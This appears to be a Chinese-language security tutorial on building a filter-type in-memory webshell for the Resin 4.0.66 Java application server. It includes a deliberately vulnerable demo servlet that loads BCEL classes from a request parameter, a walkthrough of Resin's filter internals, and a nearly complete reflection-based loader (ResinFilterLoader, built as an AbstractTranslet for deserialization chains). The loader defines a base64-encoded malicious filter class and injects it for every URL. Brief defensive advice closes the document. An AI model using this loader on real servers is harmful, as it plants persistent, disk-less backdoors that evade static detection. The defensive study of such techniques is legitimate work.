Resin内存马分析
字数 1732 2025-08-24 16:48:16
Resin内存马分析与构造教学文档
1. 环境搭建
1.1 Resin版本
- 使用Resin 4.0.66版本
1.2 web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd">
</web-app>
1.3 示例Servlet
package com.example.ResinDemo2;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("Get Request");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String Code = req.getParameter("s");
try {
(new com.sun.org.apache.bcel.internal.util.ClassLoader()).loadClass(Code).newInstance();
} catch(Exception e){
e.printStackTrace();
}
}
public void destroy() {
}
}
1.4 示例Filter
package com.example.ResinDemo2;
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebFilter(filterName = "HelloFilter", urlPatterns = "/hello-servlet")
public class HelloFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void destroy() {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
response.getWriter().println("hello world");
chain.doFilter(request, response);
}
}
2. Filter机制分析
2.1 Filter调用流程
- 在Filter中设置断点,开启Debug模式
- 请求
/ResinDemo2-1.0-SNAPSHOT/hello-servlet - 查看调用栈,寻找第一次调用
doFilter的位置
2.2 关键类分析
com.caucho.server.dispatch.ServletInvocation:第一次调用doFilter的位置FilterChain过滤器链:Web服务器根据Filter在web.xml文件中的注册顺序决定调用顺序
2.3 FilterChain构建过程
- 在
ServletInvocation类中检索_filterChain - 找到
setFilterChain方法,该方法生成_filterChain - 在该方法设置断点,重启Resin服务,查看调用栈
2.4 FilterMapper分析
FilterMapper::buildDispatchChain方法:- 遍历
FilterMapper._filterMap中的FilterMapping类型元素 - 从map中获取
filterName - 调用
FilterMapper._filterManager.createFilter(filterName)生成具体Filter类 - 调用
FilterMapper._filterManager.getFilter(filterName)生成config
- 遍历
2.5 WebApp结构
com.caucho.server.webapp.WebApp::buildInvocation:- WebApp对象包含
_filterMapper(FilterMapper类型) - Resin启动时生成WebApp对象,记录所有filter相关信息
- 获取
_filterMapper._filterMap中的FilterMapping元素
- WebApp对象包含
3. 内存马构造关键点
3.1 构造内存马的必要条件
- 获取
WebApp._filterMapper - 在
_filterMap变量中添加FilterMapping类型元素- 需要设置
filterName和urlPattern两个变量
- 需要设置
- 在
_filterMapper._filterManager.filters(HashMap)中存入元素- 格式:
filterName → FilterConfigImp
- 格式:
- 在
_filterMapper._filterManager._instances(HashMap)中存入元素- 格式:
filerName → 恶意Filter
- 格式:
3.2 获取上下文方法
使用java-object-searcher工具快速检索:
// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.caucho.server.dispatch.FilterMapper").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/admin/Documents/CodeFile/java/MiddleWare/logs/resin");
searcher.searchObject();
3.3 获取WebApp的表达式
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("_attributes");
field.setAccessible(true);
ConcurrentHashMap _attributes = (ConcurrentHashMap) field.get(obj);
WebApp webApp = (WebApp) _attributes.get("caucho.application");
Field _filterManager_field = webApp.getClass().getDeclaredField("_filterManager");
_filterManager_field.setAccessible(true);
FilterManager _filterManager = (FilterManager) _filterManager_field.get(webApp);
Field _filterMapper_field = webApp.getClass().getDeclaredField("_filterMapper");
_filterMapper_field.setAccessible(true);
FilterMapper _filterMapper = (FilterMapper) _filterMapper_field.get(webApp);
4. 完整内存马实现
4.1 内存马类结构
import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterManager;
import com.caucho.server.dispatch.FilterMapper;
import com.caucho.server.dispatch.FilterMapping;
import com.caucho.server.webapp.WebApp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;
public class ResinFilterLoader extends AbstractTranslet {
private static Object filterMapper = null;
private static Object filterManager = null;
private static String filterName = "EvilFilter";
private static String filterClassName = "com.EvilFilter";
private static String url = "/*"; // 匹配所有URL
4.2 加载恶意Filter到内存
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter编译后的class base64编码");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
4.3 获取上下文
private static synchronized void GetWebContent() throws Exception {
try {
Object currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
ConcurrentHashMap _attributes = (ConcurrentHashMap) GetField(contextClassLoader, "_attributes");
Object webapp = _attributes.get("caucho.application");
filterManager = GetField(webapp, "_filterManager");
filterMapper = GetField(webapp, "_filterMapper");
} catch (Exception e) {
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
4.4 注入恶意Filter
private static synchronized void InjectFilter() throws Exception {
try{
if (filterMapper != null && filterManager != null){
// 执行命令验证注入成功
java.lang.Runtime.getRuntime().exec("touch /Users/lishuheng/Documents/CodeFile/java/MiddleWare/test/GetFilterMapperAndManagerOk");
// 加载恶意Filter类
Filter characterEncodingHFilter = (Filter)Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
// 获取并修改_filterMap
Field _filterMap_field = filterMapper.getClass().getDeclaredField("_filterMap");
_filterMap_field.setAccessible(true);
ArrayList _filterMap = (ArrayList) _filterMap_field.get(filterMapper);
// 创建并配置FilterMapping
FilterMapping filtermapping = new FilterMapping();
filtermapping.setFilterName(filterName);
filtermapping.setURLRegexp(url);
_filterMap.add(filtermapping);
// 获取并修改_filters
Field _filters_field = filterManager.getClass().getDeclaredField("_filters");
_filters_field.setAccessible(true);
HashMap _filters = (HashMap) _filters_field.get(filterManager);
// 创建并配置FilterConfig
FilterConfigImpl filterConfig = new FilterConfigImpl();
filterConfig.setFilterName(filterName);
_filters.put(filterName,filterConfig);
// 获取并修改_instances
Field _instances_field = filterManager.getClass().getDeclaredField("_instances");
_instances_field.setAccessible(true);
HashMap _instances = (HashMap) _instances_field.get(filterManager);
_instances.put(filterName,characterEncodingHFilter);
}
}catch (Exception e){
}
}
4.5 初始化方法
static {
new ResinFilterLoader();
}
public ResinFilterLoader(){
try{
// 加载恶意Filter到内存中
LoadFilter();
// 获取上下文
GetWebContent();
// 将恶意Filter写入上下文中
InjectFilter();
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
5. 关键总结
- 核心思路:通过反射修改Resin内部数据结构,动态添加恶意Filter
- 关键对象:
WebApp:Resin中表示Web应用的类FilterMapper:管理Filter映射关系FilterManager:管理Filter实例
- 注入流程:
- 获取当前线程上下文
- 通过反射获取WebApp对象
- 修改FilterMapper和FilterManager内部结构
- 添加恶意Filter的映射关系和实例
- 持久化:通过修改内存中的数据结构实现,无需修改磁盘文件
- 检测难点:内存马不依赖web.xml配置,传统静态检测方法难以发现
6. 防御建议
- 运行时监控:监控JVM中Filter的动态添加行为
- 反射调用检测:检测关键类的反射调用
- 内存扫描:定期扫描内存中的Filter实例
- 权限控制:限制关键类的反射调用权限
- 更新补丁:及时更新Resin到最新版本